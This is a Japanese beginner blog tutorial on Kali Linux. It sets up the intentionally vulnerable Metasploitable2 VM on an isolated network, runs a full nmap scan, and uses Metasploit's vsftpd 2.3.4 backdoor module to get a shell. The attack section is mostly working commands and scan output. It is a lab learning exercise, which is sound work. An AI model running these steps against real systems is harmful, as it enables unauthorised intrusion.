今回は、前回インストールしたKali Linuxを触っていきましょう。
・記事の内容に関して自分の管理していないコンピュータ(レンタルサーバーも含む)に攻撃をすると法律に抵触する場合があります。注意してください。
・記事の内容について何らかの損害を受けた場合も一切の責任を負いません。自己責任でお願いします。
Metasploitable2をつかう
まず、Kaliのいろいろな機能に触れていくためにいろいろな脆弱性(セキュリティ上の弱い部分)を持ったOSを使用します。仮想マシンだと外部から隔離するように設定が簡単にできるので便利です。ダウンロードしていきます。
https://sourceforge.net/projects/metasploitable/
sourceforgeからダウンロードしましょう。終わったら展開します。
インポート
まず、VirtualBoxの新規をクリックしてHardDiskのところでUse an existing Virtual Hard disk file(日本語だとなんだっけ)を選択してMetasploitable2のファイルを選択します。
そうしたら、そのまま設定を進めて、VirtualBoxのトップ画面からHost Network ManagerをクリックしてCreateをクリック、DHCPを有効にします。
これはVirtualBox内での接続に加え、ホストも参加できる(例えばVirtualBoxを実行しているのがMacであればMacもそのネットワークに参加できる)ように設定します。逆に、これ以外は接続することができません。VirtualBox内から外のインターネットに接続することもできませんl
次に仮想マシンの設定からNetworkよりホストオンリーアダプターを選択します。
それでは起動をして、ユーザー名:msfadmin
パスワード:msfadminでログインできます。
ここでこの仮想マシンのIPアドレスを確認しておいてください。
$ ip a
ポートスキャン
では実際に攻撃に移っていきましょう。まず、Kaliのターミナルを開きます。次にnmapというポートスキャナーを実行します。ポートとはそのパソコンに接続するためのドアのようなものです。
$ nmap -Pn -A -p- 192.168.56.***
192.168.56.***は自分の先程調べたものを使用してください。
-Pnはpingで、-p-は全てのポートを、-AはOSなどを調べてくれます。しばらくするとこのようなログが流れると思います。
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-27 18:36 EDT Nmap scan report for 192.168.56.3 Host is up (0.00046s latency). Not shown: 65505 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 |_ftp-anon: Anonymous FTP login allowed (FTP code 230) | ftp-syst: | STAT: | FTP server status: | Connected to 192.168.56.1 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | vsFTPd 2.3.4 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) | ssh-hostkey: | 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA) |_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA) 23/tcp open telnet Linux telnetd 25/tcp open smtp Postfix smtpd |_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, |_ssl-date: 2021-06-27T13:56:26+00:00; -8h42m39s from scanner time. | sslv2: | SSLv2 supported | ciphers: | SSL2_RC2_128_CBC_EXPORT40_WITH_MD5 | SSL2_DES_64_CBC_WITH_MD5 | SSL2_RC4_128_WITH_MD5 | SSL2_RC2_128_CBC_WITH_MD5 | SSL2_RC4_128_EXPORT40_WITH_MD5 |_ SSL2_DES_192_EDE3_CBC_WITH_MD5 53/tcp open domain ISC BIND 9.4.2 | dns-nsid: |_ bind.version: 9.4.2 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) |_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2 |_http-title: Metasploitable2 - Linux 111/tcp open rpcbind 2 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2 111/tcp rpcbind | 100000 2 111/udp rpcbind | 100003 2,3,4 2049/tcp nfs | 100003 2,3,4 2049/udp nfs | 100005 1,2,3 47298/udp mountd | 100005 1,2,3 50840/tcp mountd | 100021 1,3,4 54036/tcp nlockmgr | 100021 1,3,4 56681/udp nlockmgr | 100024 1 53827/tcp status |_ 100024 1 56580/udp status 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP) 512/tcp open exec netkit-rsh rexecd 513/tcp open login 514/tcp open shell Netkit rshd 1099/tcp open java-rmi GNU Classpath grmiregistry 1524/tcp open bindshell Metasploitable root shell 2049/tcp open nfs 2-4 (RPC #100003) 2121/tcp open ftp ProFTPD 1.3.1 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5 | mysql-info: | Protocol: 10 | Version: 5.0.51a-3ubuntu5 | Thread ID: 9 | Capabilities flags: 43564 | Some Capabilities: SupportsCompression, SwitchToSSLAfterHandshake, LongColumnFlag, SupportsTransactions, ConnectWithDatabase, Speaks41ProtocolNew, Support41Auth | Status: Autocommit |_ Salt: eeK*/Mu(a4|8?uNe2g3g 3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4)) 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7 |_ssl-date: 2021-06-27T13:56:26+00:00; -8h42m39s from scanner time. 5900/tcp open vnc VNC (protocol 3.3) | vnc-info: | Protocol version: 3.3 | Security types: |_ VNC Authentication (2) 6000/tcp open X11 (access denied) 6667/tcp open irc UnrealIRCd 6697/tcp open irc UnrealIRCd 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) |_ajp-methods: Failed to get a valid response for the OPTION request 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1 |_http-favicon: Apache Tomcat |_http-server-header: Apache-Coyote/1.1 |_http-title: Apache Tomcat/5.5 8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb) 50840/tcp open mountd 1-3 (RPC #100005) 53827/tcp open status 1 (RPC #100024) 54036/tcp open nlockmgr 1-4 (RPC #100021) 55055/tcp open java-rmi GNU Classpath grmiregistry Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: mean: -7h42m38s, deviation: 2h00m00s, median: -8h42m39s |_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown) | smb-os-discovery: | OS: Unix (Samba 3.0.20-Debian) | Computer name: metasploitable | NetBIOS computer name: | Domain name: localdomain | FQDN: metasploitable.localdomain |_ System time: 2021-06-27T09:56:17-04:00 | smb-security-mode: | account_used: <blank> | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_smb2-time: Protocol negotiation failed (SMB2) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 139.41 seconds
大量のポートが開いていることがわかります。とりあえず一番上から見ていきましょう。
21/tcp open ftp vsftpd 2.3.4 |_ftp-anon: Anonymous FTP login allowed (FTP code 230) | ftp-syst: | STAT: | FTP server status: | Connected to 192.168.56.1 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | vsFTPd 2.3.4 - secure, fast, stable |_End of status
FTP serverのようです。ちなみにvsftpd 2.3.4というバージョンには脆弱性があります。2.3.4のアップデートがサーバーで公開された際にそのサーバーがクラッキングされ、ユーザー名が:)をふくむとバックドアが開くというものです。実際にやってみましょう。Metasploit Frameworkを使います。
$ sudo msfconsole
でコンソールを開きます。しばらく時間がかかります。
msf6>という感じのプロンプトになったら起動完了です。Metasploit Frameworkについてはのちに詳しく説明するつもりです。
vsftpdについて調べてみます。
msf6> search vsftpd
すると、このように返答されました。
Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor
vsftpd 2.3.4のバージョンに脆弱性があることがわかります。先ほど調べたvsftpdと同じバージョンです。これを使ってMetasploitableに侵入してみましょう。
まず、このexploitを選択します。
msf6> use exploit/unix/ftp/vsftpd_234_backdoor
次にこのexploitの必要とするオプションを表示します。
msf6> show options
RHOSTSが空になっています。rhostはターゲットホストなのでMetaploitableのIPアドレスを設定します。
msf6> set rhost 192.168.56.***
exploitを実行します。
msf6> exploit
[*]Command shell session * openedと表示されれば成功です。一つ目の侵入に成功しました。